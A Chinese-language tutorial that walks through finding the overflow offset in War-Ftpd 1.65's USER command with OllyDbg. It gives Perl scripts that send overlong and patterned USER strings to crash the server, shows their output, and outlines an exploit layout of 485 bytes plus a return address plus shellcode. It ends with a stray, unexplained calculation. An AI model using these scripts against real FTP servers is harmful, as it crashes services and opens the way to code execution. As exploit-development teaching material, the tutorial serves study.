漏洞軟體:War-Ftpd version 1.65 調試軟體:Ollydbg 程式編寫:perl 漏洞描敘:構造USER,導致stack溢出。 關於一些調試的問題請參考:《Win32緩衝區溢位實戰》http://www.ph4nt0m.org/doc/20041101160955.pdf 我們首先模仿ftp登陸寫個指令碼,並把提交的user用AAAA.....表示個數用參數提交,我們要確定的溢出點,就是看當我們提交的AAA.....剛剛覆蓋我們的ret的個數。
#!/usr/bin/perl use IO::Socket; $ARGC = @ARGV; $host = "127.0.0.1"; $port = "2121"; $eff=@ARGV[0]; $buff='A'x$eff; my $sock = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "USER $buff\n"; print "USER $buff\n"; close $sock; |
下面我們使用2分法來確定這個$eff.首先用ollydbg載入我們War-Ftpd並運行。 我們啟動並執行pl C:\usr\bin>exp.pl 800 USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 當我們提交800個A時,溢出觸發了,War-Ftpd掛了:).此時eip值為41414141。 這裡我們重新用olldbg調試一次,這一次我們提交400個A: C:\usr\bin>exp.pl 400 USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 這時漏洞根本就沒有觸發,說明我們的ret根本沒有被我們提交的AAAA覆蓋。 我們可以確定 $eff的值在400-800之間。 我們在測試550個A,漏洞又被我們觸發了,那麼我們確定$eff的值在400-550之間 .................... 最後,當我們提交489個A時,最後的4個A覆蓋了我們的返回地址(ret)ollydbg可以看到我們 的eip正好被41414141覆蓋,因此我們確定溢出點了:).也就是我們可以初步確定exp提交的字元了: USER AAAA.....(485個)+RET+ShellCode 接下來我們要做的就是確定shellcode的地址,我們調試可以看到在esp附近可以找到我們的shellcode 那麼我們就可以採用jump exp(或call esp)的地址覆蓋RET,那麼我們的轉跳就完成了............... 其實我們這裡只是完成了exp的一個小部分,主要還有shellcode的編寫和調試,這個部分由於我基礎 沒打好,現在還不怎麼熟悉,努力ing:)。 b.利用2次溢出定位溢出點 這個方法最開始在黑防上見到的,例子是上次的那個War-Ftpd version 1.65的user漏洞 第1次溢出代碼:
#!/usr/bin/perl use IO::Socket; $host = "127.0.0.1"; $port = "2121"; my $sock = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "USER "; #關鍵代碼 for($i=0;$i<800;$i++){ $k=$i%10+100; #<==注意這裡 print $sock chr($k); print chr($k);} print $sock "\n"; close $sock; |
用ollydbg載入War-Ftpd並運行。 C:\usr\bin>buff1.pl defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm 看到了把我們提交的是10進位是100-109之間字母就是 d-m 這個用來確定尾數。 溢出被觸發,此時的eip為0x6C6B6A69 對應的字母是 lkji 機器碼排列是反向存在的 所以我們覆蓋的ret地址最開始字母是i,機器碼0x69。其中沒段d-m的字母是以d開始 的,對應的機器碼為0x64, 我們可以確定提交buff長度尾數為:0x69-0x64=5 開始覆 蓋ret。 第2次溢出代碼:
#!/usr/bin/perl use IO::Socket; $host = "127.0.0.1"; $port = "2121"; my $sock = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "USER "; #關鍵代碼 for($i=0;$i<800;$i++){ $k=$i/10+100; #<==注意這裡 print $sock chr($k); print chr($k);} print $sock "\n"; close $sock; |
用ollydbg重新載入War-Ftpd並運行。 C:\usr\bin>buff1.pl ddddddddddeeeeeeeeeeffffffffffgggggggggghhhhhhhhhhiiiiiiiiiijjjjjjjjjjkkkkkkkkkk llllllllllmmmmmmmmmmnnnnnnnnnnooooooooooppppppppppqqqqqqqqqqrrrrrrrrrrssssssssss ttttttttttuuuuuuuuuuvvvvvvvvvvwwwwwwwwwwxxxxxxxxxxyyyyyyyyyyzzzzzzzzzz{{{{{{{{{{ ||||||||||}}}}}}}}}}~~~~~~~~~~??????????亖亖亖亖亖倐倐倐倐倐儍儍儍儍儍 剟剟剟剟剟厖厖厖厖厖唵唵唵唵唵噰噰噰噰噰垐垐垐垐垐墘墘墘墘墘妸妸妸妸妸媼媼媼媼媼 寣寣寣寣寣崓崓崓崓崓帋帋帋帋帋弿弿弿弿弿悙悙悙悙悙憫憫憫憫憫拻拻拻拻拻摀摀摀摀摀 敂敂敂敂敂晻晻晻晻晻枛枛枛枛枛棗棗棗棗棗槝槝槝槝槝櫃櫃櫃櫃櫃殮殮殮殮殮洓洓洓洓洓 湝湝湝湝湝潩潩潩潩潩灋灋灋灋灋煙煙煙煙煙牋牋牋牋牋 ⅱⅱⅱⅱⅱ##### いいいいいゥゥゥゥゥΖΖΖΖΖЁЁЁЁЁèèèèè┅┅┅┅┅ 鞍鞍鞍鞍鞍北北北北北膊膊膊膊膊吵吵吵吵吵 此時eip為0x94949494 這個是來確定在那個段發生溢出的:0x94-0x64=48 綜合上面2次溢出,溢出點為: (0x94-0x64)x10+(0x69-0x64)=485,即當我們提交長度為485的 buff時,開始覆蓋ret。 6e-64x100+80-64=1122 |